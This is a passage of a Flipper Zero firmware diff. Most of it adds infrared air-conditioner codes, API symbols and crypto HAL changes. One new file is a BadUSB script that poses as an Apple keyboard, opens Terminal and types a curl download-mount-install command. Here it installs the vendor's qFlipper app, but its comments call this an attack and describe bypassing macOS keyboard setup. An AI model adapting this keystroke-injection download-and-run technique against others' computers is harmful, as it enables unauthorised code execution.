7e011a95863716e72e7c6b5d552bca241d688304 diff --git a/assets/resources/badusb/Install_qFlipper_macOS.txt b/assets/resources/badusb/Install_qFlipper_macOS.txt new file mode 100644 index 000000000..252954ecb --- /dev/null +++ b/assets/resources/badusb/Install_qFlipper_macOS.txt @@ -0,0 +1,16 @@ +ID 05ac:021e Apple:Keyboard +REM Keep these 3 lines IF (and only if) it's the first time you are performing a badKB attack against a specific macOS target. +REM In fact, it helps Flipper Zero bypass the macOS keyboard setup assistant. Otherwise the attack will not start. +REM Author: 47LeCoste +REM Version 1.0 (Flipper Ducky) +REM Target: macOS +DELAY 3000 +F4 +DELAY 2500 +STRING Terminal +DELAY 2500 +ENTER +DELAY 1500 +STRING (cd /tmp && curl -L -o qFlipper.dmg https://update.flipperzero.one/qFlipper/release/macos-amd64/dmg && hdiutil attach qFlipper.dmg && app_volume=$(ls /Volumes | grep -i "qFlipper") && (test -e /Applications/qFlipper.app && rm -rf /Applications/qFlipper.app ); cp -R "/Volumes/$app_volume/qFlipper.app" /Applications/ && hdiutil detach "/Volumes/$app_volume" && rm qFlipper.dmg && open /Applications/qFlipper.app) +DELAY 1000 +ENTER diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index b1198bf43..22bd473a7 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 24th Jul, 2023 -# Last Checked 24th Jul, 2023 +# Last Updated 16th Aug, 2023 +# Last Checked 16th Aug, 2023 # # Model: Electrolux EACM-16 HP/N3 name: Off @@ -78,7 +78,7 @@ duty_cycle: 0.330000 data: 8972 4491 592 1651 592 1655 598 532 599 535 597 542 600 541 601 544 598 1656 597 526 595 1652 591 1658 595 539 593 545 597 545 597 546 596 537 594 529 592 535 596 1653 600 534 597 541 601 539 592 552 600 533 598 525 596 530 591 538 593 539 592 1665 598 1662 591 1673 601 533 598 526 595 533 598 532 600 534 597 540 591 548 594 550 592 542 600 523 598 528 593 536 595 537 594 543 599 542 600 543 599 517 594 7937 593 531 601 526 595 535 597 537 594 542 600 541 601 543 599 1654 599 523 598 528 593 536 596 538 594 542 600 541 590 552 600 532 599 524 597 528 593 536 595 537 595 541 601 539 593 551 591 542 600 522 599 527 594 536 595 537 594 543 599 540 591 552 600 532 600 523 598 527 594 535 596 537 595 542 600 540 591 552 600 532 600 523 598 528 593 536 595 538 593 543 599 541 601 543 599 535 596 527 594 532 600 531 601 534 597 540 592 549 593 552 600 534 597 525 596 529 592 1655 598 534 597 1656 597 1661 592 1671 592 1644 599 7934 596 529 592 535 597 535 597 538 593 544 598 543 599 545 597 538 593 1650 593 535 596 534 597 536 595 540 591 547 595 547 595 536 595 526 595 529 592 536 595 535 596 539 593 546 596 547 595 538 593 528 593 531 601 529 592 541 601 536 596 545 597 548 594 540 592 532 600 526 595 535 596 1656 597 541 601 540 592 553 599 534 597 526 595 532 599 531 600 533 598 539 593 548 594 552 600 535 596 1647 596 531 590 538 593 1656 597 538 594 545 597 545 597 518 593 # # Model: Daichi DA25AVQS1-W -# Compatible Brands: Gree, Tosot +# Compatible brands: Gree, Tosot name: Dh type: raw frequency: 38000 @@ -116,6 +116,7 @@ duty_cycle: 0.330000 data: 9106 4398 731 499 706 500 705 502 702 504 701 505 701 505 701 1606 701 505 701 1607 701 505 701 506 700 1607 700 506 700 506 700 505 700 505 701 506 700 506 700 506 699 506 700 506 700 1607 700 506 700 506 700 506 700 505 701 506 700 506 700 1608 699 506 700 1608 699 506 700 506 700 1608 700 506 700 19941 701 1606 700 505 701 505 701 506 700 505 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 701 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 700 506 699 506 700 506 700 1608 700 1607 700 506 700 506 700 # # Model: Saturn CS-TL09CHR +# Compatible brands: Tora name: Dh type: raw frequency: 38000 @@ -153,7 +154,7 @@ duty_cycle: 0.330000 data: 3013 1709 463 1085 462 1084 463 387 461 355 469 355 444 1084 463 387 461 378 436 1084 462 1084 487 355 469 1059 463 387 460 355 444 1083 463 1098 464 386 437 1083 463 1083 489 361 463 360 463 1082 464 361 462 376 462 1085 461 363 460 364 459 364 459 365 458 365 459 364 459 380 459 365 458 365 458 365 458 365 458 365 458 365 458 365 459 380 458 365 459 365 458 365 459 365 458 365 458 1089 458 365 458 380 459 1088 459 365 458 365 458 365 458 365 459 365 458 365 458 381 458 365 458 365 458 365 458 1089 458 365 458 365 458 365 458 381 458 365 458 365 458 365 458 365 458 365 458 365 458 365 458 381 457 366 457 366 457 366 457 366 457 366 458 365 458 366 457 381 458 366 458 366 457 366 457 366 457 366 457 366 457 366 457 381 458 366 457 366 457 366 457 366 457 366 457 366 457 366 457 382 457 366 457 366 457 366 457 366 457 366 457 367 457 366 457 382 457 367 456 1090 457 1090 456 1090 457 1090 457 1090 456 367 457 372 457 # # Model: Olimpia Splendid OS-SEAMH09EI -# Also compatible with Timberk, Royal Clima, Ballu +# Compatible brands: Timberk, Royal Clima, Ballu name: Dh type: raw frequency: 38000 @@ -475,7 +476,7 @@ frequency: 38000 duty_cycle: 0.330000 data: 4467 4390 571 1583 572 505 595 1560 572 1583 572 505 572 505 596 1559 596 482 596 481 597 1559 626 451 655 422 625 1529 596 1559 596 481 572 1582 573 1583 571 505 572 1583 595 1560 594 1561 592 1562 594 1561 593 1562 593 484 593 1563 592 485 592 485 592 485 592 485 593 484 593 485 592 485 592 1562 593 485 592 1563 592 1562 593 1562 594 483 593 485 593 1562 592 485 593 1561 593 484 593 484 593 484 593 1562 593 1562 592 5163 4462 4370 592 1563 593 484 592 1563 592 1563 592 485 592 485 593 1562 593 484 593 485 592 1562 593 484 593 485 592 1562 593 1562 593 485 592 1563 592 1563 592 485 592 1563 592 1562 593 1562 593 1563 592 1563 592 1562 592 485 593 1562 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 1563 592 485 592 1563 591 1563 592 1563 593 485 592 485 592 1563 592 485 592 1563 591 485 593 485 592 485 592 1563 592 1563 591 # -# Model: Chigo CS-21H3A-B155 / KRF-51G/79F +# Model: Chigo KRF-51G/79F name: Off type: raw frequency: 38000 @@ -769,3 +770,40 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 535 314 532 314 533 313 533 312 534 313 533 312 508 24840 3569 1647 508 1213 536 342 505 342 504 341 505 1214 506 340 506 340 506 340 505 340 506 1214 506 341 504 1216 504 1217 503 343 503 1218 502 1219 501 1219 502 1219 502 1219 502 345 502 344 502 1219 502 345 501 345 502 345 502 345 501 345 501 345 501 345 501 345 501 345 502 345 501 1219 502 345 501 1219 501 345 502 345 501 345 501 1219 501 1219 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 1220 500 1219 501 1220 500 345 501 1220 500 345 501 1220 501 1220 500 34815 3564 1653 502 1218 502 344 502 345 501 344 502 1219 501 345 501 345 501 345 501 345 501 1219 502 345 501 1219 502 1220 501 345 502 1219 501 1219 502 1219 501 1219 502 1219 502 345 501 345 501 1220 501 345 502 345 501 345 501 345 501 345 501 345 501 345 502 345 501 345 502 345 501 345 501 1220 501 345 501 345 501 345 501 345 501 1220 500 345 501 346 501 1220 500 1220 501 345 501 345 501 346 500 1220 500 1220 500 1220 500 1220 500 346 500 346 500 346 500 345 501 346 500 345 501 1220 500 346 500 1220 500 1220 500 1220 500 346 500 346 500 346 500 34816 3565 1653 502 1219 501 344 502 345 501 345 501 1219 502 345 501 345 502 345 501 345 501 1219 501 345 501 1219 502 1219 501 345 501 1219 502 1219 501 1219 501 1219 501 1219 501 345 501 345 501 1219 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 345 501 1220 501 346 501 345 501 1220 501 346 500 346 500 1220 500 346 500 345 501 346 500 1220 500 1220 500 1220 501 1220 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 346 500 1220 500 346 500 1220 500 347 499 346 500 346 500 346 500 347 499 347 499 346 500 346 500 347 499 347 499 347 499 347 499 347 499 347 499 347 499 347 499 347 499 1222 498 1222 499 1222 498 347 499 348 498 348 498 347 499 371 475 348 498 348 498 348 498 371 475 1222 498 1246 474 1246 474 372 475 371 475 372 474 372 474 348 498 371 475 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 1246 474 372 474 1246 474 372 474 372 474 372 474 1246 474 1246 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 372 474 1246 474 372 474 1247 473 372 474 1246 474 1246 474 1246 474 +# +# Model: Legion LE-F30RH-IN +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6172 7369 602 1569 602 1569 602 1569 601 1570 573 1598 574 1598 573 1597 574 1598 574 526 573 526 573 527 572 528 571 529 570 529 570 530 569 530 568 1603 569 1603 569 1603 569 1603 569 1603 568 1603 568 1603 569 1604 568 531 568 531 568 531 568 532 567 531 568 555 544 532 567 555 543 1627 544 1628 543 1628 543 1628 543 1628 544 1628 543 1628 544 1629 543 556 543 556 543 556 543 556 543 556 543 556 543 556 543 555 543 1627 544 1628 543 1629 543 556 543 555 543 1628 543 1628 543 1629 543 556 543 556 544 555 544 1628 544 1629 543 556 543 556 543 556 543 556 543 556 543 555 543 1628 543 1629 543 555 543 1628 543 1628 543 1628 543 1628 543 1629 543 557 542 556 543 1629 543 556 543 556 543 555 543 1630 542 556 542 1629 543 557 543 1630 543 557 543 1630 543 1631 542 557 542 1631 542 557 543 1630 543 557 542 1630 543 558 542 7398 543 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6173 7369 602 1569 602 1569 602 1569 602 1570 573 1598 574 1597 574 1597 574 1598 573 525 574 526 573 526 573 527 572 528 571 529 570 530 569 530 568 1602 569 1603 568 1603 569 1604 569 1604 569 1604 569 1603 568 1604 568 531 568 531 568 555 544 555 544 555 544 555 544 555 544 554 544 1628 543 1605 567 1627 544 1627 544 1628 544 1628 544 1627 544 1628 544 555 544 555 544 555 544 555 544 556 543 555 544 556 543 555 544 1629 543 555 544 1628 544 555 544 554 544 1627 544 1628 543 1628 544 555 544 1629 543 555 543 1628 544 1629 543 555 544 556 543 555 543 1627 544 1628 543 1627 544 1628 543 1629 543 555 543 1628 543 1629 543 556 543 555 544 556 543 555 544 555 544 1628 544 557 543 557 543 556 544 1630 543 556 544 1630 543 556 544 1630 543 556 543 1629 544 1630 543 556 544 1630 543 556 543 1630 543 556 544 1630 543 557 543 7397 543 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6170 7369 573 1599 572 1598 573 1599 572 1598 573 1598 573 1598 572 1598 572 1600 571 528 570 529 570 530 569 531 568 531 568 531 568 531 568 531 568 1603 568 1604 568 1604 568 1604 567 1604 567 1604 568 1604 568 1605 567 532 567 533 566 532 567 532 567 556 543 557 542 556 543 556 542 1629 542 1629 543 1629 542 1629 543 1629 542 1629 542 1629 542 1630 542 557 542 557 542 556 543 557 542 556 543 556 543 556 543 556 543 1629 543 556 542 1629 543 557 542 556 543 1629 542 1629 543 1630 542 556 542 1629 542 556 542 1629 542 1630 542 557 542 557 542 557 542 557 542 557 542 556 542 1629 541 1630 541 557 542 1631 541 1631 541 1631 542 1631 542 1632 542 559 541 558 542 1631 542 559 541 559 541 558 542 1631 542 558 542 1632 541 558 542 1632 542 558 542 1631 542 1631 542 558 542 1632 541 558 542 1632 541 558 542 1632 542 559 542 7401 541 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6173 7370 600 1571 656 1515 603 1569 602 1570 600 1571 573 1598 574 1598 573 1598 574 525 574 526 573 526 573 527 572 528 571 529 570 530 569 530 569 1603 569 1603 569 1603 569 1603 569 1603 568 1603 569 1603 569 1604 568 531 569 531 568 531 568 531 568 532 567 555 544 532 567 555 544 1603 568 1604 567 1604 567 1605 567 1628 544 1605 567 1628 543 1629 543 556 544 555 544 556 543 556 543 556 543 556 544 556 543 555 544 1629 543 555 544 1629 543 556 543 556 543 556 543 555 543 1629 543 556 544 1630 543 556 544 1629 544 1629 544 1629 544 1630 543 557 543 556 544 1629 543 1630 543 556 544 1629 543 1630 543 556 544 1629 543 1630 543 557 544 556 543 1630 543 557 543 557 543 1630 543 557 543 557 543 1630 543 557 543 1630 543 557 543 1630 543 557 543 1629 543 1630 543 557 543 1630 543 557 543 1630 543 557 543 1631 543 557 544 7399 543 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6201 7369 602 1568 603 1568 603 1569 601 1570 573 1598 573 1598 574 1597 574 1598 574 525 573 526 573 526 573 527 572 527 572 529 570 529 570 529 570 1602 569 1602 570 1602 570 1602 570 1603 569 530 569 1603 569 1603 569 530 569 530 569 530 569 530 569 529 569 1603 569 531 568 530 569 1603 568 1603 569 1603 569 1603 569 1603 569 1603 569 1603 569 1603 569 531 568 531 568 531 568 531 568 531 568 530 569 531 568 530 568 1604 568 530 569 1604 568 532 567 530 569 1603 568 1628 544 1628 544 556 544 1606 567 556 543 1629 543 1630 544 557 544 557 544 557 543 557 544 557 543 556 544 1629 543 1629 543 1629 543 1630 543 557 543 1629 543 1629 544 1630 543 557 544 557 543 557 543 557 543 1630 543 557 542 1630 543 557 543 1630 543 556 544 1630 543 556 544 1629 543 1630 543 557 543 1630 543 557 543 1630 543 557 543 1630 543 557 543 7398 543 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6175 7369 602 1570 602 1570 601 1570 573 1598 574 1598 573 1597 574 1597 574 1598 574 525 574 526 573 526 573 527 572 528 571 529 570 529 570 530 568 1603 568 1627 544 1627 544 1627 544 1628 544 554 545 1627 544 1628 544 555 544 555 544 555 544 555 544 554 544 1627 545 555 544 554 545 1627 544 1627 544 1627 544 1627 544 1627 544 1603 568 1602 569 1603 569 530 569 529 570 529 570 529 570 529 570 529 570 529 570 528 570 1601 571 528 570 1602 570 529 570 528 570 1601 570 1600 571 1601 571 528 571 1601 570 528 570 1601 570 1602 570 529 570 529 570 528 570 1601 570 1601 570 1600 571 1601 571 528 570 1601 570 1601 571 528 571 528 571 529 570 528 571 528 570 1601 571 528 571 528 570 1603 570 529 571 1603 570 529 570 1603 570 529 570 1603 570 529 571 1602 571 1603 570 529 571 1603 570 529 571 1603 570 529 571 1603 570 530 570 7370 570 diff --git a/assets/unit_tests/storage/md5.txt b/assets/unit_tests/storage/md5.txt new file mode 100644 index 000000000..777e390be --- /dev/null +++ b/assets/unit_tests/storage/md5.txt @@ -0,0 +1 @@ +Yo dawg, I heard you like md5... \ No newline at end of file diff --git a/documentation/Doxyfile b/documentation/Doxyfile index bb43ce8a7..f31cbb9d8 100644 --- a/documentation/Doxyfile +++ b/documentation/Doxyfile @@ -939,8 +939,7 @@ EXCLUDE = \ lib/FreeRTOS-Kernel \ lib/microtar \ lib/mbedtls \ - lib/cxxheaderparser \ - applications/external/dap_link/lib/free-dap + lib/cxxheaderparser # The EXCLUDE_SYMLINKS tag can be used to select whether or not files or # directories that are symbolic links (a Unix file system feature) are excluded diff --git a/documentation/fbt.md b/documentation/fbt.md index c19780ef5..af588382b 100644 --- a/documentation/fbt.md +++ b/documentation/fbt.md @@ -46,6 +46,8 @@ To run cleanup (think of `make clean`) for specified targets, add the `-c` optio `fbt` includes basic development environment configuration for VS Code. Run `./fbt vscode_dist` to deploy it. That will copy the initial environment configuration to the `.vscode` folder. After that, you can use that configuration by starting VS Code and choosing the firmware root folder in the "File > Open Folder" menu. +To use language servers other than the default VS Code C/C++ language server, use `./fbt vscode_dist LANG_SERVER=` instead. Currently `fbt` supports the default language server (`cpptools`) and `clangd`. + - On the first start, you'll be prompted to install recommended plugins. We highly recommend installing them for the best development experience. _You can find a list of them in `.vscode/extensions.json`._ - Basic build tasks are invoked in the Ctrl+Shift+B menu. - Debugging requires a supported probe. That includes: @@ -69,6 +71,7 @@ To run cleanup (think of `make clean`) for specified targets, add the `-c` optio - `debug` - build and flash firmware, then attach with gdb with firmware's .elf loaded. - `debug_other`, `debug_other_blackmagic` - attach GDB without loading any `.elf`. It will allow you to manually add external `.elf` files with `add-symbol-file` in GDB. - `updater_debug` - attach GDB with the updater's `.elf` loaded. +- `devboard_flash` - update WiFi dev board with the latest firmware. - `blackmagic` - debug firmware with Blackmagic probe (WiFi dev board). - `openocd` - just start OpenOCD. - `get_blackmagic` - output the blackmagic address in the GDB remote format. Useful for IDE integration. diff --git a/fbt b/fbt index ef41cc056..471285a76 100755 --- a/fbt +++ b/fbt @@ -29,7 +29,7 @@ if [ -z "$FBT_NO_SYNC" ]; then echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi - git submodule update --init --depth 1 --jobs "$N_GIT_THREADS"; + git submodule update --init --jobs "$N_GIT_THREADS"; fi $SCONS_EP $SCONS_DEFAULT_FLAGS "$@" diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 8dd50b537..792e44e59 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,34.3,, +Version,+,35.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -164,6 +164,7 @@ Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_wwdg.h,, Header,+,lib/toolbox/api_lock.h,, Header,+,lib/toolbox/args.h,, +Header,+,lib/toolbox/compress.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, @@ -627,6 +628,13 @@ Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiI Function,+,composite_api_resolver_alloc,CompositeApiResolver*, Function,+,composite_api_resolver_free,void,CompositeApiResolver* Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* +Function,+,compress_alloc,Compress*,uint16_t +Function,+,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,+,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,+,compress_free,void,Compress* +Function,+,compress_icon_alloc,CompressIcon*, +Function,+,compress_icon_decode,void,"CompressIcon*, const uint8_t*, uint8_t**" +Function,+,compress_icon_free,void,CompressIcon* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" @@ -1027,14 +1035,20 @@ Function,+,furi_hal_cortex_instructions_per_microsecond,uint32_t, Function,+,furi_hal_cortex_timer_get,FuriHalCortexTimer,uint32_t Function,+,furi_hal_cortex_timer_is_expired,_Bool,FuriHalCortexTimer Function,+,furi_hal_cortex_timer_wait,void,FuriHalCortexTimer +Function,+,furi_hal_crypto_ctr,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_decrypt,_Bool,"const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t" +Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool" +Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*" +Function,+,furi_hal_crypto_gcm_encrypt_and_tag,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*" Function,-,furi_hal_crypto_init,void, -Function,+,furi_hal_crypto_store_add_key,_Bool,"FuriHalCryptoKey*, uint8_t*" -Function,+,furi_hal_crypto_store_load_key,_Bool,"uint8_t, const uint8_t*" -Function,+,furi_hal_crypto_store_unload_key,_Bool,uint8_t -Function,+,furi_hal_crypto_verify_enclave,_Bool,"uint8_t*, uint8_t*" -Function,+,furi_hal_crypto_verify_key,_Bool,uint8_t +Function,+,furi_hal_crypto_load_key,_Bool,"const uint8_t*, const uint8_t*" +Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*" +Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*" +Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t +Function,+,furi_hal_crypto_unload_key,_Bool, +Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*" +Function,+,furi_hal_crypto_enclave_ensure_key,_Bool,uint8_t Function,+,furi_hal_debug_disable,void, Function,+,furi_hal_debug_enable,void, Function,+,furi_hal_debug_is_gdb_session_active,_Bool, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index a6807e131..8dd7017af 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,34.3,, +Version,+,35.0,, Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, @@ -207,6 +207,7 @@ Header,+,lib/subghz/subghz_worker.h,, Header,+,lib/subghz/transmitter.h,, Header,+,lib/toolbox/api_lock.h,, Header,+,lib/toolbox/args.h,, +Header,+,lib/toolbox/compress.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, @@ -703,6 +704,13 @@ Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiI Function,+,composite_api_resolver_alloc,CompositeApiResolver*, Function,+,composite_api_resolver_free,void,CompositeApiResolver* Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* +Function,+,compress_alloc,Compress*,uint16_t +Function,+,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,+,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,+,compress_free,void,Compress* +Function,+,compress_icon_alloc,CompressIcon*, +Function,+,compress_icon_decode,void,"CompressIcon*, const uint8_t*, uint8_t**" +Function,+,compress_icon_free,void,CompressIcon* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" @@ -1124,14 +1132,20 @@ Function,+,furi_hal_cortex_instructions_per_microsecond,uint32_t, Function,+,furi_hal_cortex_timer_get,FuriHalCortexTimer,uint32_t Function,+,furi_hal_cortex_timer_is_expired,_Bool,FuriHalCortexTimer Function,+,furi_hal_cortex_timer_wait,void,FuriHalCortexTimer +Function,+,furi_hal_crypto_ctr,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_decrypt,_Bool,"const uint8_t*, uint8_t*, size_t" Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t" +Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool" +Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*" +Function,+,furi_hal_crypto_gcm_encrypt_and_tag,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*" Function,-,furi_hal_crypto_init,void, -Function,+,furi_hal_crypto_store_add_key,_Bool,"FuriHalCryptoKey*, uint8_t*" -Function,+,furi_hal_crypto_store_load_key,_Bool,"uint8_t, const uint8_t*" -Function,+,furi_hal_crypto_store_unload_key,_Bool,uint8_t -Function,+,furi_hal_crypto_verify_enclave,_Bool,"uint8_t*, uint8_t*" -Function,+,furi_hal_crypto_verify_key,_Bool,uint8_t +Function,+,furi_hal_crypto_load_key,_Bool,"const uint8_t*, const uint8_t*" +Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*" +Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*" +Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t +Function,+,furi_hal_crypto_unload_key,_Bool, +Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*" +Function,+,furi_hal_crypto_enclave_ensure_key,_Bool,uint8_t Function,+,furi_hal_debug_disable,void, Function,+,furi_hal_debug_enable,void, Function,+,furi_hal_debug_is_gdb_session_active,_Bool, @@ -1664,7 +1678,6 @@ Function,+,gui_add_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, voi Function,+,gui_add_view_port,void,"Gui*, ViewPort*, GuiLayer" Function,+,gui_direct_draw_acquire,Canvas*,Gui* Function,+,gui_direct_draw_release,void,Gui* -Function,-,gui_get_count_of_enabled_view_port_in_layer,uint8_t,"Gui*, GuiLayer" Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" @@ -2138,6 +2151,7 @@ Function,+,nfc_device_set_loading_callback,void,"NfcDevice*, NfcLoadingCallback, Function,+,nfc_device_set_name,void,"NfcDevice*, const char*" Function,+,nfc_file_select,_Bool,NfcDevice* Function,-,nfc_generate_mf_classic,void,"NfcDeviceData*, uint8_t, MfClassicType" +Function,+,nfc_generate_mf_classic_ext,void,"NfcDeviceData*, uint8_t, MfClassicType, _Bool, uint8_t*" Function,+,nfc_get_dev_type,const char*,FuriHalNfcType Function,-,nfc_guess_protocol,const char*,NfcProtocol Function,+,nfc_mf_classic_type,const char*,MfClassicType diff --git a/firmware/targets/f7/furi_hal/furi_hal_crypto.c b/firmware/targets/f7/furi_hal/furi_hal_crypto.c index eb5c3b782..a897648a3 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_crypto.c +++ b/firmware/targets/f7/furi_hal/furi_hal_crypto.c @@ -1,4 +1,5 @@ #include +#include #include #include #include @@ -13,7 +14,7 @@ #define ENCLAVE_SIGNATURE_SIZE 16 #define CRYPTO_BLK_LEN (4 * sizeof(uint32_t)) -#define CRYPTO_TIMEOUT (1000) +#define CRYPTO_TIMEOUT_US (1000000) #define CRYPTO_MODE_ENCRYPT 0U #define CRYPTO_MODE_INIT (AES_CR_MODE_0) @@ -24,6 +25,19 @@ #define CRYPTO_KEYSIZE_256B (AES_CR_KEYSIZE) #define CRYPTO_AES_CBC (AES_CR_CHMOD_0) +#define CRYPTO_AES_CTR (AES_CR_CHMOD_1) +#define CRYPTO_CTR_IV_LEN (12U) +#define CRYPTO_CTR_CTR_LEN (4U) + +#define CRYPTO_AES_GCM (AES_CR_CHMOD_1 | AES_CR_CHMOD_0) +#define CRYPTO_GCM_IV_LEN (12U) +#define CRYPTO_GCM_CTR_LEN (4U) +#define CRYPTO_GCM_TAG_LEN (16U) +#define CRYPTO_GCM_PH_INIT (0x0U << AES_CR_GCMPH_Pos) +#define CRYPTO_GCM_PH_HEADER (AES_CR_GCMPH_0) +#define CRYPTO_GCM_PH_PAYLOAD (AES_CR_GCMPH_1) +#define CRYPTO_GCM_PH_FINAL (AES_CR_GCMPH_1 | AES_CR_GCMPH_0) + static FuriMutex* furi_hal_crypto_mutex = NULL; static bool furi_hal_crypto_mode_init_done = false; @@ -80,7 +94,7 @@ static bool furi_hal_crypto_generate_unique_keys(uint8_t start_slot, uint8_t end key.size = FuriHalCryptoKeySize256; key.data = key_data; furi_hal_random_fill_buf(key_data, 32); - if(!furi_hal_crypto_store_add_key(&key, &slot)) { + if(!furi_hal_crypto_enclave_store_key(&key, &slot)) { FURI_LOG_E(TAG, "Error writing key to slot %u", slot); return false; } @@ -88,21 +102,21 @@ static bool furi_hal_crypto_generate_unique_keys(uint8_t start_slot, uint8_t end return true; } -bool furi_hal_crypto_verify_key(uint8_t key_slot) { +bool furi_hal_crypto_enclave_ensure_key(uint8_t key_slot) { uint8_t keys_nb = 0; uint8_t valid_keys_nb = 0; uint8_t last_valid_slot = ENCLAVE_FACTORY_KEY_SLOTS; uint8_t empty_iv[16] = {0}; - furi_hal_crypto_verify_enclave(&keys_nb, &valid_keys_nb); + furi_hal_crypto_enclave_verify(&keys_nb, &valid_keys_nb); if(key_slot <= ENCLAVE_FACTORY_KEY_SLOTS) { // It's a factory key if(key_slot > keys_nb) return false; } else { // Unique key if(keys_nb < ENCLAVE_FACTORY_KEY_SLOTS) // Some factory keys are missing return false; for(uint8_t i = key_slot; i > ENCLAVE_FACTORY_KEY_SLOTS; i--) { - if(furi_hal_crypto_store_load_key(i, empty_iv)) { + if(furi_hal_crypto_enclave_load_key(i, empty_iv)) { last_valid_slot = i; - furi_hal_crypto_store_unload_key(i); + furi_hal_crypto_enclave_unload_key(i); break; } } @@ -114,14 +128,14 @@ bool furi_hal_crypto_verify_key(uint8_t key_slot) { return true; } -bool furi_hal_crypto_verify_enclave(uint8_t* keys_nb, uint8_t* valid_keys_nb) { +bool furi_hal_crypto_enclave_verify(uint8_t* keys_nb, uint8_t* 